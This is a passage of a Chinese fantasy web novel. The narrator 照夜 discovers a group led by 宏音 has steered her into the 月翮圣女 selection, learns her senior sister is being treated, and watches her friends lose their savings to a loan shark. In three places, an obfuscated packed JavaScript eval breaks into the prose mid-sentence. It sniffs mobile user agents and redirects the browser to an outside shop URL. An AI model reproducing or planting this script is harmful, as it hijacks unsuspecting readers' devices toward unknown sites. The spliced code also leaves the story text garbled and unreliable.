“让我猜猜,当时归德城灭,你在场,对吧。” 心头骤紧,我本能地转身欲逃,却被无悔一把拽住手腕,以极大的力气强行拖进暗巷。无悔捂住我的嘴,凌厉的目光射向不远处隐在树冠间的阴影,只见他左手轻翻,一枚透明的细针破空而去—— 幽暗处发出细微的碎裂声,一团几乎不可见的仙力如被刺破的浮沤一般迸散。 无悔冷嗤一声,“真是讨厌的家伙,醒了便又开始了四处偷窥的日子。” 我震惊地望着那消散的灵光——竟是百目仙人的法眼! “我听说天翮城设置了禁仙锥,为何百目仙人仍能布下法眼?” 无悔放下手臂,在昏暗中仔细端详着我,压低声音,“你果然不简单。禁仙锥也分三六九等,何况布置的密度与高度,都会影响其效力。” 我暗忖,原来如此,禁仙锥虽蕴含高密度仙力,但只能在一定程度、一定范围限制仙力的使用。想来当初在落羽山,钩星亦可使用仙力,这也代表着他体内的仙力密度极高,又或者他的仙丹稳固性极强,并不会轻易被禁仙锥禁锢。 说到底,禁仙锥也要遵循仙力的使用规则,而规则是恒定不变的。 “喂,你是不是真想救你的大师姐?” “我想,她遇人不淑、惨遭虐待,哪怕要给她惩罚,也不该要了她的命。” 黑暗中,无悔露出一抹深沉的笑容,“我师父虽不近人情,但却懂得人情世故,她是月翮圣女的忠实信徒,若是圣女有托,必当万死不辞。” “……可你们是鲛人,也信奉月翮圣女?” “信仰这东西,不过是个寄托。”无悔仰头,望向狭缝间无月的夜空,“重要的是信仰本身,而非信仰的对象。说不定哪天,天翮族就改信太阳了呢。” 我心事重重地回到住处时,粥铺已经打烊。焉耆摇了一整天的尾巴,此刻瘫在我怀里直吐舌头。我心疼地搂着它柔声安抚,直到它沉入梦乡。 “大姐头,你真要信那对骗子师徒的话?”阿烈愤愤不平,“要我说,还不如去借高利贷来得靠谱些。” 正仔细为阿烈涂抹药膏的盛放闻言沉吟道,“你别说,那个无悔所言倒有几分可信。我娘曾说过,月翮圣女便是这天翮城的老大,只要她想要的,所有城民、信徒、族人倾尽所有都会为她夺来。” “你果然有娘,怎得过去问你,你却说自己是孤儿。”浩哥瞅着盛放,一脸疑惑,“你这丫头,欺负叔叔们是老实人。” “哼,哪有孩子没娘的,便是抱婴椿结出的胎果,也有娘,我盛放自然也有!” “这么一说,我是弃儿,只有阿爹。” 我话音未落,三人便连忙围过来安慰我。盛放尤其着急,语无伦次词不达意地说了一堆宽慰的话,生怕我伤心。 我笑笑,倒觉得这两个叔叔和一个丫头过于善良。我从不介意自己刚出生就被遗弃,因我有疼爱我的阿爹和穆青,过去并无遗憾。 令人心绪如麻的夜,微凉的风从窗前掠过,却吹不散天际积聚的乌云,也吹不散从归德城飘来的、属于过往的灰烬。 日子平静地过了两天,我们商议后决定向钱庄借款。在那之前,需要凑足二十万利衡币作为保证金。浩哥与阿烈倾尽所有拿出了九万,盛放卖掉了自己的参赛信物换得四万,加上粥铺这段时间积攒的四万,还差三万便能凑齐。 盛放问起我的信物下落时,我只得支支吾吾搪塞说不慎遗失。她并未起疑,只是惋惜地叹道,因报名截止在即,信物贬值的厉害,怕是到截止那天,便一文不值了。 这日,我撑着伞怀抱着焉耆,在淅沥的雨声中分发咸鱼粥铺的宣传单,想借着选拔大赛的人气再赚一笔。毕竟有粥可吃,还有福兽可摸,这般实惠的彩头还是吸引了不少路人。 与我一同在雨中发传单的,还有几位信女。后天报名便将截止,参赛者却寥寥无几。领头的中年信女正厉声训斥那些年轻丫头,责备她们宣传刻板、不够积极。 “喂!我看你老半天了,哪有这般得理不饶人的?”一个豪迈的嗓音突然响起,“这些丫头冒雨发了一早上手册,已经尽心尽力。再训斥可就过分了!” 正义发言的是个穿着豪放的大个子男人,那雄壮的背肌,大方自信地展露出来,还真有三分观赏价值,起码在吸引眼球这一块,尽到了义务。 “你是何人!竟敢管信女的闲事儿!”怒眉瞪眼的信女年纪稍长,虽如此,她的外貌自然不必说,毕竟信女个个都是美女,老了也是。 “老子名方叫有之!醉侠传里的醉侠是也!” 我下巴差点掉在地上。不得了,我竟然在遥远的天翮城,遇到一位“山寨”方大侠。别说,这位腰间挂着酒葫芦、声若洪钟的汉子,倒真有几分豪侠气概。 不少行人路过驻足,都看起了热闹。我也没闲着,趁机散起了传单,顺便把焉耆的脑袋伸出去供人“试摸”。 “她们只会机械发放手册,却不细致讲解,根本是敷衍塞责!”彤宝信女义正辞严,“我作为教习姑姑,自然有责任管教!今日便如此懈怠,来日如何侍奉圣女?” “他娘的,我就不信了,难不成经你骂过,她们的推销技术便能更上一层楼?!” 却见彤宝姑姑从人群中拉出一个怯生生的少女,指向我们这群围观的百姓,气定神闲道,“落樱,姑姑教你的诀窍可记住了?” “记、记住了!姑姑!” “那便去露一手!” 于是乎,这名叫落樱的小信女竟缓步朝我走来。令我困惑的是,周围的人群竟不约而同地向后退去,独独将我留在了前端。正觉蹊跷,这捧着宣传册的信女已来到我面前。被雨水打湿的刘海贴在她光洁的额头上,衬得那抹微笑都带着几分勉强。 “请问……您愿意报名参加月翮圣女选拔吗?” “啊?不不不,我不参加。” 彤宝与那位“方大侠”快步上前,一左一右将我围在中间。 “笨丫头!话要这么说!” 彤宝瞪了落樱一眼,忽而变戏法似的变出一个和煦的微笑,作势要握我的手。见我抱着焉耆不便,她竟毫不见外地拎起黑漆漆的小兽塞给了高大壮硕、留着一圈潦草络腮胡的“方大侠”。 “您一看就是游客,听我介绍。”彤宝热络地介绍道,“这选拔大赛呀,可是咱们天翮城的重点旅游项目,主打一个沉浸式体验,分文不收,只要报名参与便有好礼相送。来都来了,快来报个名吧。” “啊?我,我不参加。”我急得抓耳挠腮。 怎么回事,我不过是睡了几天大觉,怎么一出门就遇到了这等事。 “哎哟,看来彤宝姑姑你的所谓教导,所谓手段也没什么用嘛!” 我一听“方大侠”阴阳怪气的语气,心中暗叫不好,照夜我碰上了团伙诈骗! 好哇,合起伙来算计我。我倒要看看他们能玩出什么花样。 只见彤宝姑姑竟十分“入戏”地在落樱胳膊上掐了数下,厉声道,“没用的丫头,趁早回家嫁人罢!还想当信女?” “呜呜呜,姑姑,饶了我吧,我不想,不想回家去,我会,会努力的——” 紧接着,这名叫落樱,哭得梨花带雨的小丫头竟噗通一声跪在我面前,抱住我的大腿哀嚎,“求您行行好,报个名吧!不然姑姑真要把我赶回家了……呜呜呜!” 我瞅了一眼窝在“方大侠”粗壮胳膊里正酣睡的焉耆,又低头看了看在青莲瓶子里闷头大睡的尾巴,只有摇头叹息的份儿。 人群中不知谁起了头,议论声渐渐沸腾。有人说我冷血,有人嘲讽我报了名也选不上,更有人高声附和:月翮圣女不可以是个胖丫头! 怒火腾地窜上心头。我猛地转身瞪视那些说风凉话的人,目露凶光,将他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549534|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个一个吓走。 于是乎,待人群散去,那出现在不远处的树下、撑着伞肃然而立的身影一如既往、一丝不苟地出现了,深蓝衣领与袖口平整得如同他刻板的性情。 “宏音大人。” “下去吧,彤宝、落樱、大铁棘。” 我怔怔望着三人远去的背影,心头泛起嘀咕:大铁棘? “他也是铁棘?” 不知在旁静立多久的宏音淡淡应了我一声,目光扫过我手上沾染的墨渍,从怀中取出一方绣着新月纹样的手帕递来,“确切地说,是大铁棘。” “……那镇守玉山的那位,是小铁棘?” “嗯,他们是兄妹。不过说来有趣,大铁棘反倒是弟弟。” 我恍然大悟,“原来‘大’指的是块头啊……” 宏音轻叹一声,垂眸凝视我片刻,神色平静无波,“考虑得如何?报名很简单,只需填写基本信息即可。” 其实焉耆身上的墨迹是仙力所化,甩一甩或者稍待片刻便会自行消散。这时小家伙醒了,从雨中欢快地奔来扑进我怀里,顺带把我的衣衫也蹭得一团黑。 宏音见状,拧着眉头道,“不准饲养太多宠物,最多一只。” 焉耆是初次见宏音,好奇地嗅了嗅他的气息,竟一跃跳进他怀中,亲昵地吐着舌头示好。 我嘟囔道,“焉耆才不是宠物,它是我的护卫兼坐骑。” “嗯,也对,”宏音轻轻挠着焉耆的下巴,“曳石兽这等妖兽,本就不适合作玩宠。可真作为坐骑,又太过惹眼。如此说来,带在身边确实不便。” 我惊讶地望向这个正逗弄着焉耆的男人——他唇角竟浮现出一抹浅淡的笑意。 “雨势渐大了,换个地方说话吧,照夜。” 于是在侍卫与信女的簇拥下,宏音领着我回到了“浩烈特色咸鱼粥铺”。正值午市,店內坐满了食客。众人一见宏音的身影,纷纷端起碗碟贴着墙边溜走。 盛放慌忙擦出一张洁净的桌案后,与阿烈、浩哥齐齐侍立一旁,紧张地望着这位尊贵的聆月使在简陋的粥铺落座。 “彤宝,付钱,不能影响粥铺的生意。” “是,大人。” 好在粥铺的三位股东都爱干净,尤其阿烈甚至患有洁癖的毛病。所以这些桌子虽是淘来的二手货,却干净得如抛了光般发亮。 宏音忽然开口道了一句不着边际的话,“平时要按时吃饭,哪怕不饿,也不能因追求窈窕身形而节食,况且,节食并不解决你的问题。” 我嘟囔道,“……你是不是管的有点多了,咱们并不熟。” 宏音唇角微扬,“有些人纵使相识百年,也难窥其真心。反之,有些人虽只见过数面,却如清泉见底,一目了然。” “你怎么知道焉耆是曳石兽?” “……焉耆是太初僊的坐骑,世间罕有,我自然晓得。你的这只只是焉耆的后代,还是一只幼兽,所以有些坏毛病。” 我探头望去,只见焉耆竟含着宏音的大拇指睡得昏天暗地。我顿时面颊发烫,仿佛自家孩子给人添了麻烦般局促不安,“总之,就叫焉耆也可以吧,既然是它祖先的曾用名。” “你既以此为真名收服了它,便代表它认可了这个名字。” 说到此处,我心里泛起一阵酸涩。原以为这小家伙是奉太初僊之命守在落羽山,再也没能等到自己的主人。却不知真相是主仆此生再未重逢,便已阴阳永隔。 可即便历经世代更迭,焉耆的后裔依然固执地守在落羽山,等待着一个再也不会回来的人。 尾巴说得对,这小狗,很笨。 笨到只会等待。 “我的提议你可想好了?” “为何偏要我来选什么圣女,我此行来天翮城,有更重要的事做。再说一遍,我和你一点也不熟,我不要稀里糊涂为你做事。” “哦?”宏音眉梢微挑,“我还以为,为了救你师姐的性命,你愿意付出任何代价。” 我震惊地睁大双眼。宏音这番话,迫使我不得不重新审视这个过分“自来熟”的男人。 69. 第 69 章 未生竟将这种事也向宏音道明,看来他们之间的关系,并不一般。 可偏偏未生的身份有些特别,他跟随雷枢仙人叛乱,背后又有前任人君支持,又曾是与渊寂有夺妻之恨的云芨仙人的座下弟子,更别提与晋川走得极近,甚至愿意冒着重重危险来传信。 最令人在意的是,宏音明知未生是仙界的通缉要犯,却暗中庇护,助其避开仙军耳目。 好啊……这些人根本就是一伙的! 可恶,这是给我设了个天罗地网? 突然,一个恐怖的念头涌上心头,我下意识抓过焉耆,撒腿就跑。 暴雨如注。 被我急促的喘息惊醒的尾巴从领口探出光晕,慌张地问,“怎么了怎么了?又跑什么?!” “尾巴,你这个笨蛋!”我在大雨中踉跄前冲,“饭饱饱、晋川、溟牙、未生、桃夭,还有这个莫名其妙的宏音——他们根本是一伙的!他们想找渊寂算账!他们想……想夺走我的仙丹!” “……呃,前半段尚有道理,后半段就有些扯淡了。” 我顾不上与尾巴争辩,一路狂奔至城门。不料此处不仅有天翮军驻守,更有一队银甲仙军巡逻。他们见我形迹可疑,立刻围拢过来。 情急之下,我将焉耆放在地上,深吸一口气,“焉耆——化——唔——” “形”字尚未出口,我的嘴便被一只大手从身后捂住了。 “宏音大人,发生何事?” “无事,散步而已。”男人轻松制住我的挣扎,淡然屏退仙军。待众人走远,才松开手,“生得敦实,力气倒不大。别太贪心,仙力积蓄过多并非好事。” 尾巴窜上我头顶,好奇地打量宏音片刻,又钻回衣领,“照夜,他没有恶意,甚至对你很感兴趣。要不……咱们再去他那儿骗些月羽花口脂?嘿嘿,我喜欢那个味道。” “啊?这个节骨眼了,你还想要口脂,你又没嘴巴。” “……我不管,我就是喜欢,我想再闻一闻。” “这——”面对尾巴罕见的请求,我竟无法拒绝。这似乎是他第一次明确想要某样东西,尽管他根本用不上。 难道是因为焉耆成天臭烘烘,尾巴也受不了了? 只见宏音再次将焉耆抱入怀中,冒着渐密的雨丝朝我走来。这一次,我没有再后退。 自归德城燃起不灭的燔磷之火以来,天翮城便时常落下尘雨。墨色的雨线自苍穹垂落,凝视久了,竟会产生一种错觉——仿佛无数漆黑的丝线正逆流飞向遥远的天际。 数日未见,汀汀的抗冻本领并没有进步,但我今天心情不好,直接强硬地将她请出这盛着冰水的浴池。 我沮丧地蜷缩在氤氲的白色寒雾中,认真复盘起自己惨被套路的始末。 虽说当初是我主动寻找饭饱饱,想探听救治牧狸的方法,但……既然未生、晋川与饭饱饱早有联系,那么“桃夭神医”这个诱饵我迟早会咬钩,更何况我本就打算前往玉山。 可恶!这群人早就布好了局,只等我自投罗网。说不定此刻正躲在某个角落,为这场天衣无缝的算计沾沾自喜。 想到这里,我心头涌上难以言说的苦涩。我强忍悲痛与穆青分别,却不料早已落入他人的棋局。 代价不可谓不大。 “啧,自从醒来后你就经常哭,眼泪怎么舔都舔不尽。” 尾巴贴在我脸颊上,忙碌地“舔舐”着不断滑落的泪珠。泪滴被金色的光晕包裹、吞噬,最终又从某处悄然漏出——乍一看,竟像是尾巴在漏水。 “你好变态,干嘛舔我的眼泪。” “我心疼你、安慰你,你反倒骂我变态?真是岂有此理!” “要不是你想要那个口脂,我才不会回到这个石头匣子里来。” “稍安勿躁。既然来了,不妨先看看他们究竟意欲何为。别怕,有我在。” 眼下抱怨也无济于事,虽然知道自己惨遭诈骗团伙暗算,但……万一桃夭真有本事救牧狸呢? 我重振精神,洗净一身雨尘,便缠着汀汀要求立刻面见聆月使。见我面色不善,汀汀不敢怠慢,匆忙引我前往一间书房。 好家伙——我一推开门,便撞见了这群“诈骗犯”的真容。我的目光逐一扫过他们的面孔,心中暗自发誓:一个都别想跑!惹到照夜我,算是惹上大事啦! 迟早有一天,要叫穆青逐个儿收拾他们! 宏音,聆月使,天翮城城主,冷面自来熟。 桃夭,号称有起死回生之术,月翮圣女的狂热信徒。 无悔,桃夭徒弟,认为信仰月翮圣女犹如天翮族信仰月亮一样可笑。 大铁棘,小铁棘之弟,“大”在了肌肉上,打着醉侠“方有之”的名号行诈骗之事,拙劣的演员一号。 彤宝,牙尖嘴利的信女教习姑姑,拙劣的演员二号。 此外,尚有未到场的未生——仙界头号通缉犯;不愁行那三个骗天骗地骗照夜的小东西;以及终日背着枯枝剑装深沉的晋川。 真真令人头皮发麻。我照夜向来行事低调,究竟何时招惹了这么一大帮坏家伙? “还以为要费些周折。”无悔率先开口,慵懒的声线里带着几分意料之外的轻松,“不愧是宏音大人,手段高明。” “哼,与其说是宏音大人你的功劳,不如说是这个家伙太良善了。”不愧是无悔的师父,桃夭也懒洋洋瘫在一旁,鲛人自带的那点仙气儿此刻也荡然无存了,“不过我先声明,出诊费不会因良善这稀少又珍贵的品质便少一分。” “桃夭神医放心!”大铁棘声如洪钟,“这小胖妞的账我担一半!不能让老实人吃亏,天下没这道理!” 彤宝姑姑端着手,梗着脖子,斜睨一眼桃夭,不动声色冷哼一声,“好了好了,你兜比脸干净,有点钱都散了出去,拿什么付给这名震三界的大神医。” “啧啧,彤宝姑姑,操心太多容易长皱纹。到时候被月终大人强制遣返,可别怪我没提醒你。” “要你管!” 桃夭继续阴阳怪气道,“我偏要管。你们这些信女啊,来我这儿看郁结之症的可不少呢。” “你!”彤宝霎时涨红了脸,支支吾吾道,“医者当守病患隐私!” “是是是——还指望你们长期光顾呢。” 我看着这群“诈骗犯”聊得热火朝天,索性坐下歇口气。宏音默默递来一盏馥郁的热茶,对眼前的唇枪舌剑恍若未闻。 尾巴被茶香吸引,顺着我的手臂滑到琉璃杯沿,竟将光晕凝成的“脑袋”探了进去。我慌忙将他捞起,“我还没喝呢,你就先洗上澡了?” “这是月羽花茶啊!”尾巴在我掌心兴奋地扭动,“如今喝一杯少一杯,让我泡一会儿嘛~照夜~照夜~” 光团软绵绵地瘫成胶状,竟是在撒娇。我起了一身鸡皮疙瘩,只好将尾巴浸入茶汤。那团金光顷刻间如蜜糖般化开,几乎要与琥珀色的茶汤融为一体。 突然,桃夭闪身至我面前,神色严肃地握住我的手腕——此刻屋内所有人都收起了戏谑的神情看来。 “先前粥铺的阿烈来咨询时,我便怀疑。果不其然,你自言自语、行为异常,确有自闭之象。” “可能医治?”沉默许久的宏音终于开口,“所需费用,记在月泉司账上。” “宏音大人就别逞强了。”桃夭摇头叹息,“你以为仙界像人界一样,会给你们天翮族高度自治权,星允驻守在此,明为观摩圣女选拔,实为伺机夺取天翮城控制权!” 我听到了大新闻,霎时间忘了辩驳自己没病。 无悔接过话头,声音沉了下来,“说不定过几日,你就不再是聆月使了。就像我们鲛人——失去公主,圣树枯亡,族群分崩离析。你们天翮族,恐怕也要重蹈覆辙。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549535|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “绝对不行!绝不能让他们毁了我们天翮一族!”彤宝姑姑几乎要哭出声来,“不会的……圣女大人一定会庇佑我们。只要选出新圣女,仙界就拿我们没办法!” 听到这里,聪明如我总算从这个“诈骗团伙”的只言片语中咂摸出点味道来。 天翮城归入人界管辖以来,历代人君都给予此地高度自治,不仅不设官府,更准许保留他们族群传统,默许月翮圣女的存在。须知圣女对归德、化西、天翮三城的影响力非同小可,这般分权本该是君王的眼中钉——毕竟,哪个君主会容忍臣民效忠他人。但人界却并未强行管束天翮城,只是规定城主必须是圣女或者——圣女指定的聆月使。 但仙界不同。仙界不设城邦,没有城主,既然接管了化西与天翮,又岂会容许城主继续掌权,或者说……容忍圣女信仰的存在? 毕竟,仙人才是仙界的主人,仙帝才是万仙之尊。 化西、天翮,乃至在烈火中燃烧的归德,皆不例外。 想到这里,我偷偷瞥向宏音。好个深藏不露的聆月使,作为这个诈骗团伙的核心人物,他所图谋的绝不止表面这么简单。 真是烦恼,好端端的日子,怎么又开始变得乱七八糟。 饶是我照夜人美心善,也架不住这么多人骚扰我算计我盘剥我。 我打定主意,制止了那端愈演愈烈的“团伙内讧”,“开门见山说罢,你们到底想干嘛!” “我我我!我先说!”大铁棘还挺不客气,咬牙切齿地攥紧拳头率先发言,“他们把我姐姐伤成那样,我定要找星允那混账算账!” 我摇摇头。星允身为玄珠位阶首席,又是渊寂麾下大将,绝技“万星归尘”无人见过真容——传闻此招威力惊天,一旦施展便是无差别攻击,无论是敌人还是同袍,都得死。 当然,这等传言不排除有夸张的成分在里面,毕竟都是从给仙人打榜的家伙们那里流传而出的。为自己支持的仙人编造些夸大其词的赞美吸引投票,倒也可以理解。但无论如何,但大铁棘眼下肯定不是星允的对手。 “我与无悔要找渊寂报仇。”桃夭把玩着自己素净的指甲——医者不便染甲,也不知她到底在孤芳自赏个什么劲儿,“顺带一提,不愁行那三个小滑头也是同伙。” “我要揪出族内的叛徒,阻止仙界染指圣女大人的圣地!” 我真不想吐槽彤宝姑姑,她一信女姑姑,自己都有被除名的危险,怎会想出这么宏大的愿望? “顺带一提,未生与晋川要为雷枢及云芨仙人报仇雪恨。”无悔顿了顿,“至于川晋……若她神智尚存,定也会为师尊报仇。” 我喉头有些涩。川晋一直以来都表现得与常人有异,几乎没有什么生动的表情和话语。她许是亲眼目睹师父云芨被渊寂投入寂灭池的行刑场面,才心智受损。 最后,所有人的目光落向始终支颐静坐的宏音。他显得漫不经心,只淡淡吐出一句,“不过是不愿将天翮城拱手相让罢了。” “你们一个个的——”我气得笑出声,“敢情把我当许愿池了?我不过是个凡人,哪来这么大本事!” “快省省吧,你的底细我们早从迩松将军那儿摸清了。”桃夭不怀好意地将我上下打量,唇边凝着冷笑,“鸿珠仙丹的容器大人!” 我此刻气得头皮隐隐有炸裂之痛。没想到,迩松这个可恶的家伙,竟然把我的“真实身份”透露了出来。 “顺便一提,迩松的愿望——”宏音的声线依旧平淡,但他捏着茶杯的手指却因愤怒而染上了血色,“是为舒岸报仇。” 一听到这里,我心里涌起一股无以名状的酸涩,归德城发生的一切犹在眼前。 这几个诈骗犯见我眼圈泛红,顿时噤声。看样子,在座的所有人,都知道玉山发生了什么,知道归德发生了什么。 虽然这场灾难的真相,已湮没在历史中。 70. 第 70 章 众人随即离开,唯余宏音依旧端坐在侧,轻轻晃着盛着尾巴的茶盅。 似是感应到我的眼泪,尾巴从月羽花花茶中蹦出来,急急忙忙贴上我的脸,蹭去我止不住落下的眼泪。 “那怪物最终,是你消灭的,对吧。”宏音叹息道,“化西城那场震湖风波,亦是你做的。” “舒岸拼尽一切为化西、乃至天翮百姓争得一线生机,我怎能让他和人君的牺牲付诸东流?” “哪怕,他们的牺牲并不为历史所承认,所记载。”宏音倾身替我擦去泪水,又不知从何处取出一方绣着月相的手帕,仔细拭干湿漉漉的尾巴,“有时候,这人世的荒谬,让人无奈。” “但也不能因此,就任由未来走向错误的方向。” “…………照夜,这个还你。”宏音取出那枚月信石挂坠,却没有递给我,而是伸到尾巴面前,“虽然大家各怀目的,但……并非恶人。” 尾巴有些怔滞,一时没反应过来,甚至过了好一阵才捧着挂坠,扭着圆润的“屁股”走到我面前。 “不是坏人,可也没有救我的大师姐不是么!” “未生抵达天翮城与我们会合后,便已带着桃夭的秘宝赶回月下州了。”宏音轻轻揉了揉我的发顶,唇角牵起一丝几不可见的笑意,“都不是小孩子了,总该看得出一个男人对女人那般紧张愧疚,不全出于责任与怜悯吧?” 我顿时怔住——未生早已动身去救牧狸了? “笨蛋!”尾巴跳上我的头顶,捧着新月坠急忙解释,“宏音的意思是未生对牧狸有些喜欢!是男人喜欢女人那种喜欢!快说你看出来了,证明自己不笨!啊啊啊——只有我才能觉得你笨!” 我有些无语,也不知尾巴在这个问题上计较个什么劲儿。我握住尾巴,向宏音问道,“那牧狸得救了么?” “如今因铁棘障阻隔,消息传递不便。但以桃夭的医术与灵药,牧狸应当已无大碍。” 悬在心头的巨石轰然落地,这突如其来的释然竟让我一阵眩晕。得知这天大的好消息,我满腹牢骚也就如烟消散,对这帮诈骗犯也没那么抵触了。 从宏音府邸出来时,天色恰好放晴,我一路雀跃着跑回粥铺,迫不及待要抓住尚不知情的阿烈、浩哥和盛放,宣布这个天大的好消息! “这么巧!我们也有好消息要告诉你!”盛放扔下抹布,兴高采烈地拽住我的衣袖,眼里闪着兴奋的光。 “那我们一起说!” 盛放连连点头,“好呀!我来数——一、二、三!” “我们不用花钱请桃夭了!她早就把救命的法宝交给未生,赶去救我大师姐啦!” “我们凑齐了二十万保证金!就趁你偷懒这两个时辰,已经找钱庄借到一百万啦!” 我与盛放二人话音甫一落地,周遭气氛便即刻变得诡异。 四人面面相觑,呆立半晌。终于在一片此起彼伏的“啊”声中,搞清了来龙去脉。 谁能想到,短短两个时辰,竟然发生了这种令人匪夷所思的巧合。 这天见我冒雨出门发传单,浩哥因于心不忍,终于向阿烈和盛放坦白:他出于某些不能说的原因,私藏了四万利衡币。 倒也没过多追究浩哥这不可言说的“借口”究竟为何,盛放便火速将凑齐的二十万保证金交付钱庄,顺利借得百万巨款,只待我归来便去支付请桃夭出诊的定金。 “我的天呐,这帮家伙手脚还真够快的。”这种大场面,尾巴自然不会缺席,他听完事情的始末,狂声大笑,体内的光也随之震颤,“笨是笨了点,不过嘛,也算有情有义呢。” “快!盛放!!”阿烈猛地跳起,惊慌失措地拉住对方,连店里的客人都顾不上招呼,“赶!紧!去!退!钱!” 浩哥听闻此事,额间愁云密布。他年岁最长,在刃柱城的灰色地带摸爬滚打多年,似已预见到什么,颓然跌坐凳上,无奈摇头,“半年敢收三十万利息的,能是什么善茬?当年有太师撑腰的施爷,也才收三分利……” 尾巴听了,竟在我掌心掰着光晕凝成的“指头”算了半晌,趁浩哥转身煮粥时,他终于算有所成,“……半年三十万利息,一年就是六十万,算下来便是五分利,乖乖,这哪儿是高利贷,纯纯是吸血贷。” “讨厌,还说风凉话,这个时候,不需要展示你的数术能力啦!” 忐忑不安等到晚上粥铺打烊,阿烈和盛放才一脸灰颓回来。 交涉失败,空手而归。 那放贷的先是面无表情收回一百万贷款,随即露出狰狞的面目,声称既已签契,哪怕只借出一个时辰也算成交。不过看在“二人哭得凄惨”的份上,他大方表示不追讨多余利息——那二十万保证金权当利息扣除,算是给新客的特别优惠。 于是,我们四人,确切说是他们三人,白忙活了半年,全部家当被掏空,仅仅剩了一万利衡币,而这钱也揣不热,明天一付房租,连买米熬粥的钱也不剩了。 可恶,原以为不愁行已是奸商中的翘楚了,没想到人外有人,奸商上面还有大奸商。 “岂有此理!走,找他们算账去!敢骗我照夜的钱,定要他们好看!” 阿烈这个愣头愣脑的家伙,竟说出“白纸黑字签了契约,倒也不算被骗”这等混账话,气得我哑口无言:他还挺有原则。 倒是法外狂徒盛放立刻撸起袖子,要与我同去找那“月兔三十六金窟”的债主钱太多讨个公道! “别冲动,别冲动!”浩哥一把拉住盛放的胳膊,一脸严肃斥道,“冲动是魔鬼。阿烈说得没错,这钱太多既敢做这黑心生意,必然有大人物撑腰,咱们最好先弄弄清楚他的底细,免得被动。” 阿烈附和道,“就是,如今这天翮城被仙界严管着插翅难飞,若是惹上了麻烦,搞不好要被扔地刑司去,盛放你不也说了,那地方和地狱没两样。” 盛放见两位“老江湖”都这般说,也泄了气。虽然她是狂徒,但也对地刑司那地方畏惧至极。 这夜,虽陡然变得身无分文,但大家似乎并未发生“辗转反侧”的情况。 我快睡着时,突然一个鲤鱼打挺从狭窄的床上弹坐起身——竟没惊醒同榻的盛放。 遭了,我从宏音家里回来时,忘了带走焉耆。 “哈~干嘛去,尿尿吗?”一道带着睡意的声音从我胸口的深沟里传出。尾巴懒洋洋地探出个尖儿,语气慵懒——虽无具体五官,却总能让人感觉他在挑眉,“早叫你睡前别牛饮,总不听劝。” “啧,我去接焉耆!” “啊?不如让它在外面的大户人家里蹭几天饭,你们还省心点不是。” 我猛地收住脚步,恍然大悟,“是哦,有道理。” 眼下有点养不起焉耆了,横竖宏音也是个诈骗犯,不如就叫他尝尝被焉耆吃垮的滋味。 我刚想调头回屋续上美梦,一旁暗巷里陡然伸出一只手,迅捷地捂住我的嘴,将我一把拽入阴影之中。 “嘘,大姐头,你梦游呢?” 竟是阿烈。 “你也梦游?” “不是,你看——”阿烈压低嗓音,朝不远处示意。 只见浩哥鬼鬼祟祟地走在空荡荡的街上,形迹可疑。好家伙,合着只有盛放在屋里闷头睡大觉。 “他要去干嘛?” 阿烈带着我不远不近悄摸摸跟在浩哥身后,低声应道,“也不瞒你了,阿浩除了是个船老大,还是个老千高手。当年丽娘赌气离开他,就是因为他——好赌。啧,他戒赌很久了。丽娘负气离开后,他就再没上过赌桌。因千数厉害,丽娘总是担心他失手被人打死,但他从未失手,实力真是深不可测。” “……那多出来的几万,不会是他偷偷赌来的吧。” “他不对劲。”阿烈看着浩哥走近一家灯火通明的铺子,小声嘀咕,“他对盛放……不对劲!” 半夜的天翮城虽依旧有喧闹之所,但比起繁华的月下州,终究还是差远了。 我坐在清冷的白石阶梯上,困意来袭,一下下打着瞌睡,而尾巴更是早早便没了声响。反观忙活了一天的阿烈,双目迥然,好似有用不完的精力。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549536|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半个时辰后,浩哥从赌场出来,裤兜明显鼓了起来。我和阿烈对视一眼——浩哥又得手了。 次日,当浩哥故作镇定掏出四万利衡币时,依旧是那一套莫问来源的说辞,我和阿烈心照不宣并没拆穿。毕竟……浩哥也是迫不得已去赌钱,我们几个没用的家伙,实在没办法揭穿这么有用的他。 可这次,钱直接塞到了盛放手里。 “浩哥,你让我去把参赛信物赎回来?” “当初卖掉那块破石头,你都哭得都快断气了。”浩哥不看盛放,语气平淡,“知道你惦记圣女选拔。快去报名,中午就截止了。” 阿烈虚眯着眼睛,探究的目光在盛放和阿烈之间逡巡着,并不急着吭声。而我佯装擦桌子,实则竖着耳朵听着呢,这二人之间究竟有何“不对劲”? 盛放思虑再三,点点头,“……这……好吧。” “赶紧去,别拖拖拉拉。” 说着盛放放下没摘完的青菜,踟蹰地走出了粥店。阿烈见浩哥进了后厨,立马跟上了盛放——还算他够意思,知道有秘密要跟我分享。 